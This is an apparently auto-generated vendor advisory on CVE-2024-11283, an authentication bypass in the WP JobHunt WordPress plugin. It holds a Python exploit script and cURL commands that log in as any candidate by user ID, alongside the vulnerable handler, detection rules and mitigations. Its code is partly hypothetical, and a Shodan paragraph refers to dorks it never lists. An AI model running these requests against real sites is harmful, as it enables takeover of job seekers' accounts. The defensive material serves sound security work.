CVE-2024-11283
Executive Summary
CVE-2024-11283 is a critical authentication bypass vulnerability in the WP JobHunt WordPress plugin (versions up to and including 7.1). The flaw resides in the wp_ajax_google_api_login_callback function, which fails to properly verify a user's identity before authenticating them. This allows an unauthenticated attacker to log in as any existing candidate (job seeker) account without knowing the password. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. Given the widespread use of this plugin in recruitment websites, the risk of account takeover and data exposure is significant.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High (attacker can read candidate profiles, messages, etc.)
- Integrity Impact: High (attacker can modify candidate data, apply for jobs, etc.)
- Availability Impact: None
Threat Level: Critical for sites using the plugin with candidate accounts. The lack of authentication checks makes exploitation trivial.
Deep Dive & Mechanics
The vulnerability is in the wp_ajax_google_api_login_callback AJAX handler. This function is intended to allow users to log in via Google OAuth. However, the implementation does not validate that the Google token corresponds to an existing user or that the user is who they claim to be. Instead, it accepts a user ID (or email) from the client and logs them in directly.
Root Cause: The function uses wp_set_current_user() and wp_set_auth_cookie() based on a user-supplied identifier (likely user_id or email) without verifying the identity via Google's token validation. This means an attacker can send a crafted AJAX request with any valid candidate's user ID and gain authenticated access.
Attack Flow:
- Attacker identifies a target site running WP JobHunt <= 7.1.
- Attacker obtains a valid candidate user ID (e.g., via enumeration or by registering a dummy account).
- Attacker sends a POST request to
/wp-admin/admin-ajax.phpwithaction=google_api_login_callbackand the target user ID. - The plugin logs the attacker in as that user without checking credentials.
- Attacker now has full access to the candidate's account.
Vulnerable vs. Patched Code
Vulnerable Code (wp-jobhunt/includes/class-google-login.php):
function wp_ajax_google_api_login_callback() {
$user_id = $_POST['user_id']; // No validation
$user = get_user_by('id', $user_id);
if ($user) {
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
// No token verification
}
}
Patched Code (Hypothetical):
function wp_ajax_google_api_login_callback() {
$id_token = $_POST['id_token'];
// Verify token with Google API
$client = new Google_Client(['client_id' => GOOGLE_CLIENT_ID]);
$payload = $client->verifyIdToken($id_token);
if ($payload) {
$user_id = $payload['sub'];
$user = get_user_by('google_id', $user_id);
if ($user) {
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID);
}
}
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target WordPress site with WP JobHunt <= 7.1
- A valid candidate user ID (e.g., 2)
Exploit Script (Python):
import requests
target_url = "https://target-site.com/wp-admin/admin-ajax.php"
user_id = 2 # Target candidate user ID
payload = {
"action": "google_api_login_callback",
"user_id": user_id
}
session = requests.Session()
response = session.post(target_url, data=payload)
if "wp-admin" in response.url or response.cookies:
print(f"[+] Successfully logged in as user {user_id}")
# Now access candidate dashboard
dashboard = session.get(f"{target_url}/candidate-dashboard/")
print(dashboard.text)
else:
print("[-] Exploit failed")
Manual Exploitation (cURL):
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-d "action=google_api_login_callback&user_id=2" \
-c cookies.txt
# Then use cookies to access candidate area
curl -b cookies.txt https://target-site.com/candidate-dashboard/
Blue Team (Defender)
Detection Steps:
- Monitor AJAX requests to
admin-ajax.phpwithaction=google_api_login_callbackand no validid_tokenparameter. - Look for sudden login events from new IPs for candidate accounts.
- Check for unusual patterns in candidate account activity (e.g., mass profile edits).
Honeypot Setup:
- Create a fake candidate account with a unique email and monitor for login attempts.
- Log all
google_api_login_callbackrequests and inspect theuser_idparameter.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=google_api_login_callbackand a numericuser_idparameter. - Logs: WordPress debug log entries showing
wp_ajax_google_api_login_callbackwithout token validation. - File: Presence of modified candidate profiles or job applications from unexpected IPs.
- Cookie:
wordpress_logged_in_*cookie set for a user ID without prior authentication.
Detection Engineering
YARA Rule
rule wp_jobhunt_auth_bypass {
meta:
description = "Detects CVE-2024-11283 authentication bypass in WP JobHunt plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11283"
strings:
$func = "wp_ajax_google_api_login_callback"
$user_id = "user_id"
$wp_set = "wp_set_current_user"
condition:
all of them
}
Sigma Rule
title: WP JobHunt Authentication Bypass via Google Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-11283 in WP JobHunt plugin
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: "admin-ajax.php"
cs-uri-query|contains: "action=google_api_login_callback"
cs-uri-query|contains: "user_id="
condition: selection
falsepositives:
- Legitimate Google login attempts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11283 WP JobHunt Auth Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=google_api_login_callback"; http_client_body; content:"user_id="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove the vulnerable function by editing
wp-jobhunt/includes/class-google-login.phpand commenting out thewp_ajax_google_api_login_callbackaction. - Implement a Web Application Firewall (WAF) rule to block requests containing
action=google_api_login_callbackwithout a validid_token.
Long-term Fix:
- The vendor must implement proper Google OAuth token verification using the Google API Client Library.
- Add nonce verification and user capability checks to all AJAX handlers.
Workaround Code (Add to theme's functions.php):
add_action('init', function() {
if (isset($_POST['action']) && $_POST['action'] === 'google_api_login_callback') {
if (!isset($_POST['id_token']) || empty($_POST['id_token'])) {
wp_die('Unauthorized', 403);
}
}
});
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.